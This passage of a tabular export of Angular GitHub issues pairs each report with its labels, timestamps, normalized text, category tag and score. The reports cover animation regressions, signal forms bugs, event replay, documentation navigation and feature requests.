Tapdiq Alishov

### Proposed solution

Include the Azerbaijani community-maintained translation (https://angular.az/
) in the list of community localization resources, if it meets the project guidelines.

### Alternatives considered

None.","area: i18n,area: docs-infra,gemini-triaged",2026-02-27 10:41:18+00:00,2026-03-04 15:58:22+00:00,3,"area: i18n,area: docs-infra,gemini-triaged",5.2202,feature request add azerbaijani localization reference angular az which angular package s are relevant related to the feature request no response description hello i have contributed to translating and publishing an azerbaijani localization of angular resources as suggested i am sharing the link to the azerbaijani community translation below for your reference az rbaycan this initiative aims to make angular more accessible to the azerbaijani developer community thank you best regards tapdiq alishov proposed solution include the azerbaijani community maintained translation in the list of community localization resources if it meets the project guidelines alternatives considered none,feature,0.8625
angular/angular,4000143432,New animate.leave behaviour in 21.2 does not remove components with inner infinite animations,"### Which @angular/* package(s) are the source of the bug?

animations, core

### Is this a regression?

Yes

### Description

In 21.2 the animate.leave behaviour has changed so that all inner animations render before the outer component is removed.  This means that if you have an inner element that has an infinite animation (like you may do with a spinner), it will never be removed.  I've worked around this for the moment by using the Shadow DOM but I think this scenario should be special-cased.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","needs reproduction,area: core,core: animations",2026-02-27 09:47:48+00:00,2026-02-27 18:21:59+00:00,12,"needs reproduction,area: core,core: animations",0.3571,new animate leave behaviour in does not remove components with inner infinite animations which angular package s are the source of the bug animations core is this a regression yes description in the animate leave behaviour has changed so that all inner animations render before the outer component is removed this means that if you have an inner element that has an infinite animation like you may do with a spinner it will never be removed i ve worked around this for the moment by using the shadow dom but i think this scenario should be special cased please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,feature,-0.7003
angular/angular,3997965922,v22 migration : model + output,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

With #65952 merged as a breaking change, it would be a nice to have to write a migration for some of the cases that surfaced on G3. 

1. model + output
```ts 
foo = model<string>;
fooChange = output<string>();  // or `@Output()`
```

becomes 

```ts
fooInput = input<string>({alias: 'foo')
foo = linkedSignal(this.fooInput);

fooChange = output<string>(); 
```

If ever other cases arise we can improve the migration later. ","open for contributions,area: migrations",2026-02-26 21:58:42+00:00,2026-04-28 19:43:57+00:00,2,"open for contributions,area: migrations",60.9064,v migration model output which angular package s are relevant related to the feature request core description with merged as a breaking change it would be a nice to have to write a migration for some of the cases that surfaced on g model output becomes if ever other cases arise we can improve the migration later,others,0.6908
angular/angular,3996618392,Event replay causes doubled interactions when elements become interactable before app is stable,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When using `withEventReplay()`, events that make it through to hydrated components (and are handled by them) while the app is not ""stable"" yet are still replayed when the app becomes stable later. This causes lots of potential usability issues, like duplicated modals opening, toggles turning back off, etc. Event replay seems to falsely assume that components are not interactable until the app is completely stable.

The repro I've thrown together below is a super contrived example (it's explicitly delaying app stability) but I'm seeing this issue happening frequently in multiple large Angular applications I work on. These apps often have pages with hundreds of Angular components that all take different amounts of time to hydrate & have numerous API dependencies that can contribute to this stability blocking.

Obviously, to some extent, a solution is to optimize the app better, but event replays are intended to capture events that were not handled so they can be handled later, not duplicate them like this. This issue is itself causing major UX issues, and one of the most promising paths toward optimizing things -- incremental hydration -- requires event replay to be enabled.

### Please provide a link to a minimal reproduction of the bug

https://github.com/w-biggs/angular-eventreplay-issue-repro

### Please provide the exception or error you saw

```true

```

### ... [TRUNCATED]",area: core,2026-02-26 16:49:27+00:00,2026-04-28 00:07:39+00:00,6,area: core,60.3043,event replay causes doubled interactions when elements become interactable before app is stable which angular package s are the source of the bug core is this a regression no description when using events that make it through to hydrated components and are handled by them while the app is not stable yet are still replayed when the app becomes stable later this causes lots of potential usability issues like duplicated modals opening toggles turning back off etc event replay seems to falsely assume that components are not interactable until the app is completely stable the repro i ve thrown together below is a super contrived example it s explicitly delaying app stability but i m seeing this issue happening frequently in multiple large angular applications i work on these apps often have pages with hundreds of angular components that all take different amounts of time to hydrate have numerous api dependencies that can contribute to this stability blocking obviously to some extent a solution is to optimize the app better but event replays are intended to capture events that were not handled so they can be handled later not duplicate them like this this issue is itself causing major ux issues and one of the most promising paths toward optimizing things incremental hydration requires event replay to be enabled please provide a link to a of the bug please provide the exception or error you saw truncated,others,0.9734
angular/angular,3994653059,Bug in signal change detection,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

Please take a look at this example first.

```typescript
import { Component, OnInit, WritableSignal, signal } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';

interface Test {
  name: string;
  value?: string;
}

@Component({
  selector: 'app-root',
  template: `
    <span>Name: {{ mySignal().name }}</span>
    <br>
    @if (mySignal().value === undefined) {
      <span>No value</span>
    }
    @else {
      <span>Value: {{ mySignal().value }}</span>
    }
  `,
})
export class App implements OnInit {
  mySignal: WritableSignal<Test> = signal({ name: 'Name', value: undefined });

  public ngOnInit(): void {
    this.loadValue();
  }

  private async loadValue(): Promise<void> {
    const data = this.mySignal();
    await new Promise((r) => setTimeout(r, 2000));
    data.value = 'Value';
    this.mySignal.set(data);
  }
}

bootstrapApplication(App);
```

In the example we have the signal `mySignal`. This signal is a object from the interface `Test`. Test has the key named `value` which is represents data we need to load. Is is initialised with `undefined`.

We have the async function `laodData()` which called from `ngOnInit` and is responsible for loading the data. It does the following:
1. Read the current value of `mySignal`
2. Wait 2 seconds (represents an API call)
3. Set the value to `Value`
4. Update the signal

So aft... [TRUNCATED]",,2026-02-26 10:25:50+00:00,2026-02-26 10:59:32+00:00,2,nan,0.0234,bug in signal change detection which angular package s are the source of the bug core is this a regression yes description please take a look at this example first in the example we have the signal this signal is a object from the interface test has the key named which is represents data we need to load is is initialised with we have the async function which called from and is responsible for loading the data it does the following read the current value of wait seconds represents an api call set the value to update the signal so aft truncated,bug,0.6249
angular/angular,3993589323,auto suugestionds ,"
Type: <b>Bug</b>

please turn off the auto  suggestions

Extension version: 21.2.1
VS Code version: Code 1.109.5 (072586267e68ece9a47aa43f8c108e0dcbf44622, 2026-02-19T19:43:32.382Z)
OS version: Windows_NT x64 10.0.26200
Modes:

<details>
<summary>System Info</summary>

|Item|Value|
|---|---|
|CPUs|AMD Ryzen 5 5625U with Radeon Graphics          (12 x 2296)|
|GPU Status|2d_canvas: enabled<br>GPU0: VENDOR= 0x1002, DEVICE=0x15e7 [AMD Radeon (TM) Graphics], DRIVER_VENDOR=AMD, DRIVER_VERSION=31.0.12046.5001 *ACTIVE*<br>GPU1: VENDOR= 0x1414, DEVICE=0x008c [Microsoft Basic Render Driver], DRIVER_VERSION=10.0.26100.7309<br>Machine model name: <br>Machine model version: <br>direct_rendering_display_compositor: disabled_off_ok<br>gpu_compositing: enabled<br>multiple_raster_threads: enabled_on<br>opengl: enabled_on<br>rasterization: enabled<br>raw_draw: disabled_off_ok<br>skia_graphite: disabled_off<br>trees_in_viz: disabled_off<br>video_decode: enabled<br>video_encode: enabled<br>webgl: enabled<br>webgl2: enabled<br>webgpu: enabled<br>webnn: disabled_off|
|Load (avg)|undefined|
|Memory (System)|7.34GB (1.03GB free)|
|Process Argv|--crash-reporter-id 387359ea-342a-4acf-9db0-0fd2d21d3997|
|Screen Reader|no|
|VM|0%|
</details><details>
<summary>A/B Experiments</summary>

```
vsliv368cf:30146710
binariesv615:30325510
nativeloc1:31344060
dwcopilot:31170013
dwoutputs:31242946
copilot_t_ci:31333650
e5gg6876:31282496
pythonrdcb7:31342333
6518g693:31463988
aj953862:31281341
63221493:31336333
e... [TRUNCATED]",,2026-02-26 06:34:00+00:00,2026-02-26 09:27:43+00:00,1,nan,0.1206,auto suugestionds type bug please turn off the auto suggestions extension version vs code version code e ece a aa f c e dcbf t z os version windows nt x modes system info item value cpus amd ryzen u with radeon graphics x gpu status d canvas enabled gpu vendor x device x e amd radeon tm graphics driver vendor amd driver version active gpu vendor x device x c microsoft basic render driver driver version machine model name machine model version direct rendering display compositor disabled off ok gpu compositing enabled multiple raster threads enabled on opengl enabled on rasterization enabled raw draw disabled off ok skia graphite disabled off trees in viz disabled off video decode enabled video encode enabled webgl enabled webgl enabled webgpu enabled webnn disabled off load avg undefined memory system gb gb free process argv crash reporter id ea a acf db fd d d screen reader no vm a b experiments vsliv cf binariesv nativeloc dwcopilot dwoutputs copilot t ci e gg pythonrdcb g aj e truncated,others,0.7269
angular/angular,3992487441,Neither the dependency injection docs nor the router docs clearly indicate the order in which route providers are instantiated,"### Describe the problem that you experienced

No where in the docs is there a description of when exactly instances defined by route providers are actually created. This leads to the following questions:

* Can guards and resolvers inject something that was provided in a route provider?
* Do things provided in route providers have access to the ActivatedRoute? The ActivatedRouteSnapshot? To each other? Does the order they are specified matter?

### Enter the URL of the topic with the problem

https://angular.dev/guide/di/defining-dependency-providers#route-providers

### Describe what you were looking for in the documentation

A full and concise description of how Route providers work

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

More documentation

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: router,area: docs",2026-02-26 00:07:50+00:00,2026-02-26 16:20:01+00:00,2,"area: router,area: docs",0.6751,neither the dependency injection docs nor the router docs clearly indicate the order in which route providers are instantiated describe the problem that you experienced no where in the docs is there a description of when exactly instances defined by route providers are actually created this leads to the following questions can guards and resolvers inject something that was provided in a route provider do things provided in route providers have access to the activatedroute the activatedroutesnapshot to each other does the order they are specified matter enter the url of the topic with the problem describe what you were looking for in the documentation a full and concise description of how route providers work describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem more documentation add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.8834
angular/angular,3991688301,regression: signal forms: input of type date isn't required anymore when cleared,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

Since version 21.2.0, an input of type date in a signal form, when the user erases its day, month or year, keeps its value instead of becoming empty, and becomes invalid with a parse error.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-a71rmrvl?file=src%2Fmain.ts

### Please provide the exception or error you saw

When populating the birth date field and then erasing one or even all of its components (day, month or year), I expect the value to become empty again (or better: null, like when a number input is erased), and the `required` error to reappear. Instead, the value stays as it was before, the field becomes invalid, with a parse error.

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.5
Angular           : 21.2.0
Node.js           : 20.19.1
Package Manager   : pnpm 8.15.6
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.1.5            │ ^21.1.5           │
│ @angular/cli              │ 21.1.5            │ ^21.1.5           │
│ @angular/common           │ 21.2.0            │ 21.2.0            │
│ @angular/... [TRUNCATED]","area: forms,forms: signals",2026-02-25 20:40:25+00:00,2026-03-20 22:10:28+00:00,29,"area: forms,forms: signals",23.0625,regression signal forms input of type date isn t required anymore when cleared which angular package s are the source of the bug forms is this a regression yes description since version an input of type date in a signal form when the user erases its day month or year keeps its value instead of becoming empty and becomes invalid with a parse error please provide a link to a of the bug please provide the exception or error you saw when populating the birth date field and then erasing one or even all of its components day month or year i expect the value to become empty again or better null like when a number input is erased and the error to reappear instead the value stays as it was before the field becomes invalid with a parse error please provide the environment you discovered this bug in run true angular cli angular node js package manager pnpm linux x package installed version requested version angular build angular cli angular common angular truncated,bug,0.0258
angular/angular,3988880070,Tosignal issue with micro frontend,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

```
@Component({
  selector: 'app-root',
  template: ` Hello world! {{ seconds() }}`,
})
export class Playground {
  seconds = toSignal(interval(1000), { initialValue: 0 });
}

```
this code work fine with standalone angular app , issue is with micro frontend
 
this code throw error in micro frontend
 
toSignal() can only be used within an injection context such as a constructor, a factory function, a field initializer, or a function used with `runInInjectionContext`.
 
to solve above i have added enviornment injector

```
private readonly environmentInjector = inject(EnvironmentInjector);
   seconds = toSignal(interval(1000), { initialValue: 0,
    injector: this.environmentInjector
    });
```
 
after this change signal is working but it prints 0 value only then stopped

i tried using injector as well

with injector  i am getting following error on console

TypeError: Cannot read properties of null (reading '2')


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",needs reproduction,2026-02-25 11:25:54+00:00,2026-02-25 11:50:51+00:00,3,needs reproduction,0.0173,tosignal issue with micro frontend which angular package s are the source of the bug core is this a regression no description this code work fine with standalone angular app issue is with micro frontend this code throw error in micro frontend tosignal can only be used within an injection context such as a constructor a factory function a field initializer or a function used with to solve above i have added enviornment injector after this change signal is working but it prints value only then stopped i tried using injector as well with injector i am getting following error on console typeerror cannot read properties of null reading please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,bug,-0.9209
angular/angular,3988590148,Question & Feedback: Why does nullValidator exist?,"### Is this a bug report or a feature request?

- [ ] Bug Report
- [x] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

Hi Angular Team,
I am a developer learning Angular and I came across the nullValidator and I have a question/feedback.
Why does nullValidator exist when we can simply leave the validator field empty to achieve the same result?
For example:
// This works perfectly fine:
linkedin: new FormControl(’’)
// So why would anyone write this?
linkedin: new FormControl(’’, Validators.nullValidator)
Both do exactly the same thing! The first one is cleaner and simpler.
I would love to see:
	1.	A clear explanation of WHY nullValidator exists
	2.	A real use case where nullValidator is the ONLY solution
	3.	If there is no strong reason, maybe consider removing it in future versions to keep Angular clean and simple?
I believe Angular should be as clean and simple as possible, and having redundant features can confuse developers especially beginners.
Thank you for your amazing work on Angular! I just want to make it even better!
Best regards

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

_No response_

### Please provide a screenshot if possible [Bug Report only]

_No response_

### Please provide the exception or error you saw [Bug Report only]

```true

```

### Is this a browser-specific issue? If so, please specify the device, browser, and version. [Bug Report only]

```true

```

... [TRUNCATED]",,2026-02-25 10:30:03+00:00,2026-02-25 11:42:37+00:00,2,nan,0.0504,question feedback why does nullvalidator exist bug report x feature request please provide the the issue bug report only hi angular team i am a developer learning angular and i came across the nullvalidator and i have a question feedback why does nullvalidator exist when we can simply leave the validator field empty to achieve the same result for example this works perfectly fine linkedin new formcontrol so why would anyone write this linkedin new formcontrol validators nullvalidator both do exactly the same thing the first one is cleaner and simpler i would love to see a clear explanation of why nullvalidator exists a real use case where nullvalidator is the only solution if there is no strong reason maybe consider removing it in future versions to keep angular clean and simple i believe angular should be as clean and simple as possible and having redundant features can confuse developers especially beginners thank you for your amazing work on angular i just want to make it even better best regards please provide the vs the you encountered bug report only no response please provide a screenshot if possible bug report only no response please provide the exception or error you saw bug report only is this a browser specific issue if so please specify the device browser and version bug report only truncated,help,0.9611
angular/angular,3988349809,Support braced Unicode escapes,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler

### Description

Angular template expressions currently do not support ES6 braced Unicode escapes (e.g. `\u{1F600}`) in string literals. This limits the ability to represent modern Unicode code points (such as emoji and historic scripts) directly in templates.

### Minimal reproduction
```html
<div>{{ '\u{1F600}' }}</div>
```
**Expected:** Renders 😀
**Actual:** Renders the literal string `\u{1F600}` or an error.

### Proposed solution

Extend the Angular compiler's template expression parser to support ES6 braced Unicode escapes (`\u{...}`) in string literals, matching JavaScript semantics. Legacy `\uXXXX` escapes should remain supported for backward compatibility.

### Alternatives considered

- Using legacy `\uXXXX` escapes with surrogate pairs for non-BMP characters (e.g., emoji). This is error-prone and less readable, requiring manual calculation and two code units per character.
- Avoiding Unicode escapes and directly pasting Unicode characters. This is not always practical for code points outside BMP or for code generation scenarios.",area: compiler,2026-02-25 09:44:48+00:00,2026-02-26 19:25:15+00:00,4,area: compiler,1.4031,support braced unicode escapes which angular package s are relevant related to the feature request compiler description angular template expressions currently do not support es braced unicode escapes e g in string literals this limits the ability to represent modern unicode code points such as emoji and historic scripts directly in templates expected renders actual renders the literal string or an error proposed solution extend the angular compiler s template expression parser to support es braced unicode escapes in string literals matching javascript semantics legacy escapes should remain supported for backward compatibility alternatives considered using legacy escapes with surrogate pairs for non bmp characters e g emoji this is error prone and less readable requiring manual calculation and two code units per character avoiding unicode escapes and directly pasting unicode characters this is not always practical for code points outside bmp or for code generation scenarios,help,0.8834
angular/angular,3985623338,Selecting v21 in the version menu loads next.angular.dev instead of angular.dev,"### Describe the problem that you experienced

Clicking on the v21 version in the menu loads https://next.angular.dev/ and the sidebar styling is different. However, accessing https://angular.dev/ directly (for example via Google) shows v21 on the main site. 
It seems that selecting v21 from the menu redirects to the ‘next’ site instead of the stable v21 site.

### Enter the URL of the topic with the problem

https://angular.dev/

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: docs-infra,2026-02-24 20:16:03+00:00,2026-02-25 20:37:27+00:00,3,area: docs-infra,1.0149,selecting v in the version menu loads next angular dev instead of angular dev describe the problem that you experienced clicking on the v version in the menu loads and the sidebar styling is different however accessing directly for example via google shows v on the main site it seems that selecting v from the menu redirects to the next site instead of the stable v site enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9403
angular/angular,3985471224,Items disappearing on drag-and-drop,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

Yes

### Description

Our Angular web app allows users to drag-and-drop components to reorder them.

Recently, we noticed that dragging-and-dropping was causing items to disappear from the page entirely!

Please see the attached mp4 video for a demonstration of this behavior against a minimal repro (stackblitz link for this repro is included below)

---

We suspect it was caused by a change in the `animations` package, and we were able to mitigate the ""disappearing"" issue by removing these two lines from the relevant HTML snippet (i.e. disabling the animation):

```
animate.enter=""ease-in-animation""
animate.leave=""ease-out-animation""
```

I believe this behavior is new as of release `21.2.0-rc.0` - I've pinned all Angular packages to that version in the repro link below

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-2puwya73?file=src%2Fapp.component.html

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
$ ng version

     _                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|__... [TRUNCATED]","area: core,core: animations",2026-02-24 19:34:39+00:00,2026-03-02 16:46:11+00:00,2,"area: core,core: animations",5.883,items disappearing on drag and drop which angular package s are the source of the bug animations is this a regression yes description our angular web app allows users to drag and drop components to reorder them recently we noticed that dragging and dropping was causing items to disappear from the page entirely please see the attached mp video for a demonstration of this behavior against a minimal repro stackblitz link for this repro is included below we suspect it was caused by a change in the package and we were able to mitigate the disappearing issue by removing these two lines from the relevant html snippet i e disabling the animation i believe this behavior is new as of release i ve pinned all angular packages to that version in the repro link below please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true ng version truncated,others,-0.8372
angular/angular,3984708067,"Class 'FieldNode' incorrectly implements interface 'FieldState<unknown, string | number>'","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

Error compiling App while using signal forms
The following import statement triggers the error:

import {form, required, submit} from ""@angular/forms/signals"";


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Application bundle generation failed. [1.771 seconds] - 2026-02-24T16:30:12.837Z

✘ [ERROR] TS2420: Class 'FieldNode' incorrectly implements interface 'FieldState<unknown, string | number>'.
  Types of property 'max' are incompatible.
    Type 'Signal<number | undefined> | undefined' is not assignable to type 'Signal<number | undefined>'.
      Type 'undefined' is not assignable to type 'Signal<number | undefined>'.
        Type 'undefined' is not assignable to type '() => number | undefined'. [plugin angular-compiler]

    node_modules/@angular/forms/types/_structure-chunk.d.ts:1752:14:
      1752 │ declare class FieldNode implements FieldState<unknown> {
           ╵               ~~~~~~~~~
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 21.1.5         ... [TRUNCATED]","area: forms,forms: signals",2026-02-24 16:39:53+00:00,2026-03-24 21:51:34+00:00,4,"area: forms,forms: signals",28.2164,class fieldnode incorrectly implements interface fieldstate which angular package s are the source of the bug forms is this a regression yes description error compiling app while using signal forms the following import statement triggers the error import form required submit from angular forms signals please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true package installed version requested version angular animations truncated,others,-0.8316
angular/angular,3979061763,Searching for 'resource',"### Describe the problem that you experienced

The result brings me to a non existing page

### Enter the URL of the topic with the problem

https://v18.angular.dev/guide/signals/resource#

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-02-23 16:29:20+00:00,2026-02-23 16:33:15+00:00,2,nan,0.0027,searching for resource describe the problem that you experienced the result brings me to a non existing page enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,others,-0.9565
angular/angular,3978591174,Signal forms: poor performances with large arrays,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Formfields provide poor performance with large array as values.

For example, emitting an array of 15000 numbers:

`````
Duration (ngModel): 0.04500007629394531ms
Duration (formField): 38.329999923706055ms
`````

With objects, it can go up to 2000ms!


https://stackblitz.com/edit/formfield-with-large-array?file=src%2Fmain.ts

````typescript
import { Component, model, signal } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';
import { form, FormValueControl, FormField } from '@angular/forms/signals';

@Component({
  selector: 'app-custom-control',
  template: `
  <button (click)=""emitFormfield()"">Emit array of 15000 numbers (formField)</button>
  <button (click)=""emitNgModel()"">Emit array of 15000 numbers (ngModel)</button>
  <br/><br/>
  <div>Duration (ngModel): {{ durationNgModel() }}ms</div>
  <div>Duration (formField): {{ durationFormField() }}ms</div>
`,
})
export class CustomControl implements FormValueControl<number[]> {
  private _numbers: number[] = Array.from({ length: 15000 }, (_, i) => i);

  public value = model<number[]>([]);
  public valueAsNgModel = model<number[]>([]);

  public durationNgModel = signal(0);
  public durationFormField = signal(0);

  public emitNgModel() {
    const startTime = performance.now();

    this.valueAsNgModel.set([...this._numbers]);

    const endTime = performance.now();
    this.... [TRUNCATED]","area: forms,forms: signals",2026-02-23 14:52:25+00:00,2026-03-20 22:09:29+00:00,4,"area: forms,forms: signals",25.3035,signal forms poor performances with large arrays which angular package s are the source of the bug forms is this a regression no description formfields provide poor performance with large array as values for example emitting an array of numbers with objects it can go up to ms typescript import component model signal from angular core import bootstrapapplication from angular platform browser import form formvaluecontrol formfield from angular forms signals component selector app custom control template emit array of numbers formfield emit array of numbers ngmodel duration ngmodel durationngmodel ms duration formfield durationformfield ms export class customcontrol implements formvaluecontrol private numbers number array from length i i public value model public valueasngmodel model public durationngmodel signal public durationformfield signal public emitngmodel const starttime performance now this valueasngmodel set this numbers const endtime performance now this truncated,others,-0.7184
angular/angular,3978262122,Conflict between tsdocs and what migration to Angular 21 does,"### Command

update

### Is this a regression?

- [ ] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

_No response_

### Description

I've upgraded to Angular 21, which added `{ applicationProviders: [provideZoneChangeDetection()] }` in
```
platformBrowser()
  .bootstrapModule(AppModule)
  .catch((error: Error) => console.error(error))
```

However the description of `provideZoneChangeDetection` says `This provider is not available for platformBrowser().bootstrapModule`.

<img width=""1179"" height=""278"" alt=""Image"" src=""https://github.com/user-attachments/assets/0651491a-7fbc-4fec-8972-44ae9266027f"" />

### Minimal Reproduction

Just migrate a module-based app to Angular 21, I guess.

### Exception or Error

```text

```

### Your Environment

```text
| @angular/core                     │ 21.1.5            │ ^21.1.5           │
│ @angular/fire                     │ 20.0.1            │ ^20.0.1           │
│ @angular/forms                    │ 21.1.5            │ ^21.1.5           │
│ @angular/language-service         │ 21.1.5            │ ^21.1.5           │
│ @angular/material                 │ 21.1.5            │ ^21.1.5           │
│ @angular/material-moment-adapter  │ 21.1.5            │ ^21.1.5           │
│ @angular/platform-browser         │ 21.1.5            │ ^21.1.5           │
│ @angular/platform-browser-dynamic │ 21.1.5            │ ^21.1.5           │
│ @angular/platform-server          │ 21.1... [TRUNCATED]",area: docs,2026-02-23 13:24:30+00:00,2026-03-02 19:02:32+00:00,2,area: docs,7.2347,conflict between tsdocs and what migration to angular does command update is this a regression yes this behavior used to work in the previous version the previous version in which this bug was not present was no response description i ve upgraded to angular which added in however the description of says just migrate a module based app to angular i guess exception or error your environment text angular core angular fire angular forms angular language service angular material angular material moment adapter angular platform browser angular platform browser dynamic angular platform server truncated,documentation,-0.6139
angular/angular,3979642158,Vitest Debugging in Browser Mode,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

I'm using Angular 21 and started writing some test cases.
The tests are running with vitest and playwright. The setup is done like the documentation explained it. https://angular.dev/guide/testing

But there is the point for debugging Tests, where the documentation states, that it is not possible to debug with vitest in browser mode.

I need to use browser mode because with for example 'jsdom' the tests have many errors because of undefined properties.

I tried debugging with jsdom. Debugging works, but as I mentioned before, not all my tests will run with jsdom.

Will it be possible in the future, to also debug with vitest in browser mode?
And is there a workaround to do it today?

### Proposed solution

The combination of Angular, Vitest and Browser Mode should be possible to debug tests.
Adjust the angular vitest runner to make it possible.

### Alternatives considered

Running tests in jsdom for debugging.
But some tests will only run in Browser Mode because of missing properties and test functions in jsdom.","open for contributions,good first issue,docsarea: testing,area: docs",2026-02-23 13:23:36+00:00,2026-02-23 19:12:52+00:00,5,"open for contributions,good first issue,docsarea: testing,area: docs",0.2425,vitest debugging in browser mode which angular package s are relevant related to the feature request no response description i m using angular and started writing some test cases the tests are running with vitest and playwright the setup is done like the documentation explained it but there is the point for debugging tests where the documentation states that it is not possible to debug with vitest in browser mode i need to use browser mode because with for example jsdom the tests have many errors because of undefined properties i tried debugging with jsdom debugging works but as i mentioned before not all my tests will run with jsdom will it be possible in the future to also debug with vitest in browser mode and is there a workaround to do it today proposed solution the combination of angular vitest and browser mode should be possible to debug tests adjust the angular vitest runner to make it possible alternatives considered running tests in jsdom for debugging but some tests will only run in browser mode because of missing properties and test functions in jsdom,bug,-0.4215
angular/angular,3976226640,docs-infra: Route generation script ignores custom heading ID syntax,"## Describe the problem that you experienced

The route generation script (`adev/scripts/routes/generate-routes.mts`) uses a simplified logic to generate heading IDs from markdown headings. However, the markdown pipeline (`adev/shared-docs/pipeline/shared/marked/transformations/heading.mts`) supports a custom ID syntax `{#custom-id}` for explicit anchor IDs.

This inconsistency causes generated routes to differ from the actual anchor IDs in the rendered documentation when custom IDs are used. This is particularly problematic for localized documentation (e.g., `angular/angular-ja`) where custom IDs are used to maintain stable links across translations.

## Enter the URL of the topic with the problem

N/A (Build/Generation issue)

## Describe what you were looking for in the documentation

I expected the route generation process to respect the same heading ID rules as the markdown rendering pipeline.

## Describe the actions that led you to experience the problem

1. Create a markdown file with a heading using a custom ID: `## My Heading {#my-custom-id}`.
2. Run the route generation script.
3. Observe that the generated route uses `my-heading-my-custom-id` (derived from text) instead of `my-custom-id`.

## Describe what you want to experience that would fix the problem

The generated route for a heading with `{#custom-id}` should be `#my-custom-id`, not `#my-heading-my-custom-id`. The logic for extracting heading IDs should be shared between the route generation script and the ... [TRUNCATED]",area: docs-infra,2026-02-23 04:16:41+00:00,2026-02-23 23:16:55+00:00,1,area: docs-infra,0.7918,docs infra route generation script ignores custom heading id syntax describe the problem that you experienced the route generation script uses a simplified logic to generate heading ids from markdown headings however the markdown pipeline supports a custom id syntax for explicit anchor ids this inconsistency causes generated routes to differ from the actual anchor ids in the rendered documentation when custom ids are used this is particularly problematic for localized documentation e g where custom ids are used to maintain stable links across translations enter the url of the topic with the problem n a build generation issue describe what you were looking for in the documentation i expected the route generation process to respect the same heading id rules as the markdown rendering pipeline describe the actions that led you to experience the problem create a markdown file with a heading using a custom id run the route generation script observe that the generated route uses derived from text instead of describe what you want to experience that would fix the problem the generated route for a heading with should be not the logic for extracting heading ids should be shared between the route generation script and the truncated,documentation,-0.0498
angular/angular,3971267881,High Cyclomatic Complexity and Magic Number in Change Detection Function,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

During a review of Angular’s change detection implementation (packages/core/src/render3/instructions/change_detection.ts), I identified two maintainability concerns:

